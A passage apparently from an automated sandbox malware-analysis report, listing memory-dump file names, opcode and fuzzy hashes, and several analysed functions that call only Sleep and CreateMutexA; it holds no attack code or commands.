Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0e06419628dfa92e59f468d5d6d60fcd33df468ecd7fff787c5b4787b766d68b
Instruction ID: 470579d57623e168b86a4883a0e4cb35c2417189790c7c2357a6f655198e21b9
Opcode Fuzzy Hash: 0e06419628dfa92e59f468d5d6d60fcd33df468ecd7fff787c5b4787b766d68b
Instruction Fuzzy Hash: 0D317B316052049BEB1CDB78ECE9BADBB72DF81318F244228E464D73D6CB3659C18791

Function 00119F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4837b309c64fd48080bb5dcd02fdc4e2c6a10a8ffac9033d162c32906e6ec1d9
Instruction ID: 74d647b4ce734efe63015f7fee18f0d6ca10d9b36f64594929fe21017053e4b6
Opcode Fuzzy Hash: 4837b309c64fd48080bb5dcd02fdc4e2c6a10a8ffac9033d162c32906e6ec1d9
Instruction Fuzzy Hash: D03126316012049BEB1CDB78DCA97EDBF62EF85318F248229E428D72D1DB3699C18752

Function 0011A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4accdc0999b92c7eaf6117ad81deadd6ee4dec80292390d4fab42a0b6dd11aed
Instruction ID: acc062fb83a7f5866b3683ec0af76ddee5c76eeb02b7576fa076a22973717e67
Opcode Fuzzy Hash: 4accdc0999b92c7eaf6117ad81deadd6ee4dec80292390d4fab42a0b6dd11aed
Instruction Fuzzy Hash: 68312531B05204ABEB1CDB78DDD9BADBB729F85318F648228E424D72D5CB3699C08652

Function 0011A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b5d1e6a4b75a93bab70286f5c696f83666e72bb2a6f7201bf21ed6730f26aacd
Instruction ID: 0ea196d8afc50c593a52c1b29a42672aafc559c0071634f2266ba959f0ab2e90
Opcode Fuzzy Hash: b5d1e6a4b75a93bab70286f5c696f83666e72bb2a6f7201bf21ed6730f26aacd
Instruction Fuzzy Hash: 2F314631A052049FEB1CDB78DCD9BACBB72AF86318F644228E424D72D1DB3699C08752

Function 0011A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b1008ca8d34ae18191cdc38fb64fc42df9ab8e0e64707f8c9f0fdf74ab045068
Instruction ID: 333a6db8f5f223e073a6c3ec4bf4e81719d88bd77c51c058d3a59dd63633ff75
Opcode Fuzzy Hash: b1008ca8d34ae18191cdc38fb64fc42df9ab8e0e64707f8c9f0fdf74ab045068
Instruction Fuzzy Hash: 60318831A011049BEB0CDB78DCD9BACBB32EF81318F644228E464D76D1CB7559C08652

Function 0011A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
